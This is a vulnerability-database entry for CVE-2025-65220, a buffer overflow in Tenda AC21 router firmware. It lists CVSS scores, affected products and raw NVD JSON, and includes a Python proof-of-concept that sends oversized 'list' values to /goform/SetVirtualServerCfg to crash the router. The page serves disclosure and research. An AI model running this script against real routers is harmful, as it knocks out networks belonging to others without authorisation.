Security Vulnerability Report
中文
CVE-2025-65220 CVSS 4.3 MEDIUM

CVE-2025-65220

Published: 2025-11-20 15:17:40
Last Modified: 2025-11-21 17:26:02

Description

Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow in: /goform/SetVirtualServerCfg via the list parameter.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC21 V16.03.08.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65220 PoC - Tenda AC21 Buffer Overflow in /goform/SetVirtualServerCfg # Target: Tenda AC21 V16.03.08.16 # Vulnerability: Stack buffer overflow via 'list' parameter target_ip = "192.168.0.1" # Default Tenda router IP target_url = f"http://{target_ip}/goform/SetVirtualServerCfg" # Generate payload with excessive length to trigger buffer overflow # The exact buffer size needs to be determined through fuzzing # This PoC demonstrates the vulnerability pattern def create_overflow_payload(payload_length=1000): """ Create buffer overflow payload payload_length: Total length of 'list' parameter """ # Fill with pattern that can help identify overflow point payload = "A" * payload_length return payload def exploit_cve_2025_65220(target, port=80): """ Exploit function for CVE-2025-65220 """ url = f"http://{target}:{port}/goform/SetVirtualServerCfg" # Try different payload lengths to trigger overflow for length in [500, 1000, 2000, 5000]: payload = create_overflow_payload(length) data = { "list": payload, "port": "80", "ip": "192.168.0.100", "proto": "TCP", "enable": "1" } try: response = requests.post(url, data=data, timeout=5) print(f"[*] Sent payload with length {length}, Status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return True # Router may have crashed return False if __name__ == "__main__": print("CVE-2025-65220 PoC - Tenda AC21 Buffer Overflow") print("Target: Tenda AC21 V16.03.08.16") print("Endpoint: /goform/SetVirtualServerCfg") print("Parameter: list") print("-" * 50) exploit_cve_2025_65220(target_ip)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65220", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:40.010", "lastModified": "2025-11-21T17:26:01.583", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow in: /goform/SetVirtualServerCfg via the list parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:*", "matchCriteriaId": "089AC516-5475-4725-B348-832A00ED0CC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:*", "matchCriteriaId": "05B05222-6E83-487C-A083-CED82D803330"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN1.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}